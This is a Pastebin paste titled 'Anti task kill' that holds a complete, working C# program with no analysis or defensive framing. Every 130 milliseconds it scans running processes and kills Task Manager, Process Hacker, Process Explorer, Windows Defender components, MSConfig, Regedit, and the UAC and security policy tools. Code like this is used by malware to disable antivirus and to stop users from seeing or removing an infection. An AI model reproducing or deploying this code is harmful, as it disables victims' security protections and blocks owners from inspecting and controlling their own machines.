Advertisement
Guest User

Anti task kill

a guest
Jan 21st, 2019
95
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 3.36 KB | None | 0 0
  1. using System;
  2. using System.Runtime.InteropServices;
  3. using System.Threading;
  4.  
  5. namespace atm
  6. {
  7.     class Program
  8.     {
  9.         [DllImport("kernel32.dll")]
  10.         private static extern IntPtr CreateToolhelp32Snapshot(uint dwFlags, uint th32ProcessID);
  11.  
  12.         [DllImport("kernel32.dll")]
  13.         private static extern bool Process32First(IntPtr hSnapshot, ref PROCESSENTRY32 lppe);
  14.  
  15.         [DllImport("kernel32.dll")]
  16.         private static extern bool Process32Next(IntPtr hSnapshot, ref PROCESSENTRY32 lppe);
  17.  
  18.         [DllImport("kernel32.dll")]
  19.         private static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId);
  20.  
  21.         [DllImport("kernel32.dll")]
  22.         private static extern bool CloseHandle(IntPtr handle);
  23.  
  24.         [DllImport("kernel32.dll")]
  25.         private static extern bool TerminateProcess(IntPtr dwProcessHandle, int exitCode);
  26.  
  27.         static void Main(string[] args)
  28.         {
  29.             while (true)
  30.             {
  31.                 IntPtr snapshot = CreateToolhelp32Snapshot(0x00000002u, 0u);
  32.                 PROCESSENTRY32 entry = new PROCESSENTRY32();
  33.                 entry.dwSize = (uint)Marshal.SizeOf(typeof(PROCESSENTRY32));
  34.                 if (Process32First(snapshot, ref entry))
  35.                 {
  36.                     do
  37.                     {
  38.                         uint id = entry.th32ProcessID;
  39.                         string name = entry.szExeFile;
  40.  
  41.                         if (Matches(name, "Taskmgr.exe") ||
  42.                             Matches(name, "ProcessHacker.exe") ||
  43.                             Matches(name, "procexp.exe") ||
  44.                             Matches(name, "MSASCui.exe") ||
  45.                             Matches(name, "MsMpEng.exe") ||
  46.                             Matches(name, "MpUXSrv.exe") ||
  47.                             Matches(name, "MpCmdRun.exe") ||
  48.                             Matches(name, "NisSrv.exe") ||
  49.                             Matches(name, "ConfigSecurityPolicy.exe") ||
  50.                             Matches(name, "MSConfig.exe") ||
  51.                             Matches(name, "Regedit.exe") ||
  52.                             Matches(name, "UserAccountControlSettings.exe"))
  53.                         {
  54.                             KillProcess(id);
  55.                         }
  56.                     } while (Process32Next(snapshot, ref entry));
  57.                 }
  58.                 CloseHandle(snapshot);
  59.                 Thread.Sleep(130);
  60.             }
  61.         }
  62.  
  63.         private static bool Matches(string source, string target)
  64.         {
  65.             return source.EndsWith(target, StringComparison.InvariantCultureIgnoreCase);
  66.         }
  67.  
  68.         private static void KillProcess(uint processId)
  69.         {
  70.             IntPtr process = OpenProcess(0x0001u, false, processId);
  71.             TerminateProcess(process, 0);
  72.             CloseHandle(process);
  73.         }
  74.     }
  75.  
  76.     [StructLayout(LayoutKind.Sequential)]
  77.     public struct PROCESSENTRY32
  78.     {
  79.         public uint dwSize;
  80.         public uint cntUsage;
  81.         public uint th32ProcessID;
  82.         public IntPtr th32DefaultHeapID;
  83.         public uint th32ModuleID;
  84.         public uint cntThreads;
  85.         public uint th32ParentProcessID;
  86.         public int pcPriClassBase;
  87.         public uint dwFlags;
  88.         [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 260)] public string szExeFile;
  89.     };
  90.  
  91. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement